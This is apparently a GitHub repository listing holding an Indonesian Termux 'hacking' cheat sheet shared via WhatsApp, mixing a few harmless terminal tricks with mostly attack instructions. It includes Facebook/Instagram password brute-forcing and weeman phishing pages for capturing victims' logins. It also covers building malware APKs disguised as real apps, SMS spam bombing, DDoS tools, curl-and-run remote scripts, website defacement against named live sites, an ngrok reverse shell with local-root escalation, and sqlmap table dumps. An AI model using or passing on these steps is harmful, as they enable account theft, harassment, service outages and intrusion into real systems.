Found 46 repositories(showing 30)
Taoviqinvicible
1.[Script Termux] -Cmatrix *apt-get update *apt-get upgrade *apt-get install nmap *apt-get install python *apt-get install list *apt-get install cmatrix *cmatrix [1/11 18.28] +62 821-2770-8489: ✓Mempercantik Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py Hack FB ngincer $ apt update ( Enter ) $ apt upgrade ( Enter ) $ apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd wifi-hacker $ls $chmod +x wifi-hacker.sh $ls $./wifi-hacker.sh ✓ *ni tutor dari gua* TOOL TERMUX LENGKAP ⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕ Command Termux Hacking...... by:🎭ঔৣஓMuslimCyberSquadঔৣஓீ🎭 ⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕ cara uninstall tool termux rm -rf toolsnya Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy CHATTING VIA TERMUX irssi /connet irc.freenode.net /nick w3wandroid /join #modol $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam PERKIRAAN cuaca curl http://wttr.in/ (lokasi) Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya Menampilkan animasi kereta :v $ pkg install sl $ sl menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya MEMUTAR MUSIC DI YOUTUBE VIA TERMUX $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dengan mengetik nomornya musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak music CRACK PASSWORD HASH $ git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ $ cd FHX-Hash-Killer $ python2 FHXHashKiller.py $ git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py ASCII ART MAPS - pkg install update && upgrade - pkg install perl - git clone https://github.com/x-xsystm/maps.git - cd maps - perl maps.pl - untuk Zoom tekan A - Password: (pejuang212) CARA MENGHIAS TAMPILAN TERMUX TOXIC TEAM $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ pkg install ncurses-utils $ pkg install ruby $ pkg install lolcat $ pkg install cowsay $ gem install lolcat $ nano .bashrc clear blue='\e[1;34m' green='\e[1;32m' purple='\e[1;35m' cyan='\e[1;36m' red='\e[1;31m' white='\e[1;37m' yellow='\e[1;33m' NOW=`date "+%d.%m.%Y"` TIME=`date "+%H:%M"` cowsay -f eyes **Welcome To TOXIC hacking tool** | lolcat toilet -f standard " **TOXIC** " -F gay neofetch echo " Time : " $TIME | lolcat date | lolcat echo echo Username : Cyber | lolcat echo Hostname : TOXIC | lolcat echo echo @localhost:~# | lolcat echo root@localhost:~$ | lolcat echo -e $green echo root@CYBER:~$ TUTORIAL MEMBUAT VIRUS SEPERTI APLIKASI ASLINYA Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done BOOM SPAM DI TERMUX apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default aja Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (Install *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh LITESPAM $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... Spammer GRAB $pkg install python2 $pip2 install requests $pkg install git $git clone http://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $python2 spammer.py nomor hp korban --delay 30 spam sms jdid 1.PKG install PHP 2.pkg install cURL 3.curl https://pastebin.com/raw/9BYy1 JVc -o jdid.php 4.php jdid.php Hacking spammer by seni $apt update && apt upgrade $apt install python2 php $pip2 install requests $apt install nano $apt install git $git clone https://github.com/Senitopeng/ SpamSms.git $cd SpamSms $python2 mantan.py HACKING DAN TRICK FB VIA TERMUX AUTO BOOT FACEBOOK $ git clone https://github.com/Senitopeng/BotFbBangDjon.git $ cd BotFbBangDjon $ python2 bangdjon.py Cara crack id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction HACKING THOOLS MBF FACEBOOK $ pkg update && upgrade $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/pirmansx/mbf $ cd mbf $ python2 MBF.py (HACKING FB LEWAT TERMUX) $ apt update $ apt upgrade $ apt install python2 $ apt install python2-dev $ apt install wget $ dip2 install mechanize $ cd/sterage/emulated/0 $ python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $ storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung BRUTEFORCE $ apt update $ apt upgrade $ apt install python $ apt install pip $ pip install wordlist $ apt install worlist $ Wordlist -h $ cd /sdcard $ Cat pas.txt FACEBOOK BRUTO FORCE $ apt update $ apt upgrade $ apt install python2 $ apt install python2-dev $ apt install wget $ pip2 install mechanize $ cd/storage/emulated/0 $ python2 fbbrute.py $ storage/emulated/0/password.txt Hacking tool weeman $ apt-get update $ apt-get upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/evait-security/weeman.git $ ls $ cd weeman $ ls $ python2 weeman.py $ show $set url https://www.facebook.com $set action_url https://www.facebook.com $ show buka new season (new tab) /lembar ke 2 $ ifconfig jika slesai copy no addres yg tertera. jngn sampai salah karna ada 2 addres disitu. jika tdk tau yg mna tanya. stelah copy no adres. buka lembar pertama lagi tulis $ run kasih adres tdi ke target. contoh 125.25.175.88:8080 ingt hrus ksh port > :8080 jika sudah dibuka dngn dia. saat dia login nnti. email. pass. tertera. serta data" akun target.... hacking fbbrute2 by decsec $ apt update (enter) $ apt upgrade (enter) $ apt install python2 (enter) $ apt install wget (enter) $ pip2 install mechanize (enter) $ cd /sdcard (enter) $ mkdir facebrute (enter) $ cd facebrute (enter) $ wget http://override.waper.co/files/facebook.apk $ wget http://override.waper.co/files/password.apk $ mv facebook.apk facebook.py (enter) $ mv password.apk password.txt (enter) $ python2 facebook.py (enter) #Selesai *note: Untuk masalah wordlist bisa buat sendiri kok ^^. Buat sendiri lebih efektif... hacking fbbrute3 $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ Pip2 install urllib3 chardet certifi idna requests( Enter ) $ Apt install openssl curl ( Enter ) $ Pkg install libcurl ( Enter ) $ Ln -s/sdcard ( Enter ) $ cd sdcard ( Enter ) $ Python2 fb.py ( Enter ) Hacking Botkomena fb $pkg update && pkg upgrade $pkg install git $pkg install python2 $pip2 install mechanize $git clone https://github.com/Senitopeng/ Botkomena.git $cd Botkomena $python2 botkomena.py Cara Install OSIF ( Open Source Information Facebook ) $ pkg install python2 $ git clone https://github.com/ciku370/OSIF $ cd OSIF $ pip2 install -r requirements.txt Dan cara menjalankannya menggunakan perintah : python2 osif.py weemen 1.download dulu termux 2.instal termux :V 3.ketik apt install git python2 4.ketik git clone https://github.com/evait-security/weeman.git 5.ketik cd weeman 6.ketik python2 weeman.py kalau udh ke install seperti ini 1.ketik set url https://m.facebook.com 2.ketik set action_url https://m.facebook.com/login 3.ketik run Kalau sudah begini . ketik 127.0.0.1:8080 pada browser maka web pishing yg di buat tadi sudah jadi lalu lemparkan ke target link 127.0.0.1:8080 lalu kalau korban terjebak , di mana email dan password nya ? masuk dalam termux jangan di tutup weeman tidak hanya dapat di gunakan sebagai media pishing facebook saja. kita juga dapat membuat web pishing situs lainya misalnya twitter instagram dll asal memiliki/terdapat form input Hacking instagram $ apt update && apt upgrade -y $ apt install nodejs git $ cd Instagram-Private-Tools $ node index.js $ git clone https://github.com/ccocot/Instagram-Private-Tools.git $ npm install *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php *Di google masih banyak kok Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Kalau masih ada yang bin [8/11 06.41] +62 838-5688-2861: TOOL TERMUX Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd $ chmod +x d-tect.py $ python2 d-tect.py cara uninstall tool termux rm -rf toolsnya cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta :v $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya.  Tutorial membuat virus seperti aplikasi aslinya🚨 Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction cara membuat virus cd Vbug/vbug.py cd /storage/emulated/0/Vbug cd vbug Python2 vbug.py CRACK PASSWORD HASH git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ cd FHX-Hash-Killer python2 FHXHashKiller.py git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py pkg install irssi irssi (enter) /connect chat.freenode.net /nick oki /join #mrmaze Cara install Metasploit di termux (No Root) ~ apt update && apt upgrade ~ apt install curl ~ curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh ~ chmod +x metasploit.sh ~ ./metasploit.sh ... Tunggu proses instalasi sekitar 30-40 menit tergantung koneksi internet ... ( hack fb via termux ) $apt update $apt upgrade $apt install python2 $apt install python2-dev $apt install wget $dip2 install mechanize $cd/sterage/emulated/0 $python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung *silahkan mencoba* tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools pip install mps_youtube pip install youtube_dl apt install mpv mpsyt /judul $ pkg update && pkg upgrade CHATTING VIA TERMUX $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam 100% work boom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjhj +6282399188718 Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (```Install``` *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done Cara Root Server Di Termux Dengan Ngrok Perl/PHP BackConnecter Mass Deface. 1. Install~ Buka Termux 2. Install Ngrok Registrasi Autthokennya. (http://ngrok.com/download;http://ngrok.com/signup) $ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip $ unzip ngrok-stable-linux-arm.zip ngrok $ ./ngrok authtoken JWJDKNxxxxxxxxxx $ ./ngrok tcp port :~# Welcome : Plan Free "0.tcp.ngrok.io:port-ngrok ~> localhost:port" 3. Download Perl/PHP Backconnecter (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) dan Edit file nya, cari $ip dan $port ganti dengan (0.tcp.ngrok.io:port-ngrok) ~>Upload ke website (PERL: ON)(PHP: ON) 5. in termux command : $ nc -lnvp port 6. in backdoor shell : $ perl perl-reverse-shell.pl (atau) > http://situs.co.li/perl-reverse-shell.php (Run the script simply by browsing to the newly uploaded file in your web browser) .----(after backconnect successfully)--- 7. upload LOCALROOT $ wget https://domain.com/localroot/dirty $ chmod 777 dirty $ ./dirty New password: ndasmu (successfully rooted) 8. import TTY shell ===>jika menggunakan dirty<=== $ echo "import pty; pty.spawn('/bin/bash')" > /tmp/sad.py $ python /tmp/sad.py ===>jika menggunakan cowroot<=== $ python -c 'import pty;pty.spawn("/usr/bin/passwd")' (https://evertpot.com/189/) .-------------------------------------------- 9. login as ROOT $ su rintoar Password: ndasmu .-------------------------------------------- 10 ./mass (https://m.youtube.com/watch?v=HPQQok40v78) .-------------------------------------------- WEEMAN [✓] apt update && apt upgrade -y apt install git -y apt install python2 -y git clone https://github.com/evait-security/weeman cd weeman chmod 777 weeman.py python2 weeman.py Ex set url http://facebook.com set action_url http://facebook.com run ___________________________________________ Hunner framework apt update apt install python apt install git -y git clone https://github.com/b3-v3r/Hunner cd Hunner chmod 777 hunner.py python hunner.py ___________________________________________ SQLMAP [✓] apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap Python2 sqlmap.py ______ Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump ___________________________________ DDOS XERXES [✓] clang xerxes.c -o xerxes ./xerxes website 80 ___________________________________ DDOS TORSHAMMER [✓] apt-get update apt-get install python2 apt-get install tor apt-get install git git clone https://github.com/dotfighter/torshammer.git cd torshammer python2 torshammer.py -T -t website ___________________________________ BRUTEFORCE [✓] apt update apt upgrade apt install python apt install pip pip install wordlist apt install worlist Wordlist -h cd /sdcard Cat pas.txt ___________________________________ Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com ___________________________________ Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py ___________________________________ BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py ___________________________________ HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run ___________________________________________ RED HAWK apt update apt install git git clone https://github.com/Tuhinshubhra/RED_HAWK cd RED_HAWK chmod +x rhawk.php apt install php ls php rhawk.php ___________________________________________ D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com ___________________________________________ viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com __________________ Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py PERKIRAAN cuaca curl http://wttr.in/ (lokasi) tool Routersploit apt install git apt install python2 pip2 install requests git clone https://github.com/reverse-shell/routersploit.git cd routersploit pip install -r requirements.txt termux-fix-shebang rsf.py Cara pake cd routersploit ./ rsf.py use scanners/autopwn show options set target 192.168.1.1 set port 8080 set threads 10 masukkan exploitsnya set target 192.168.1.1 -check -run tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (```Install``` 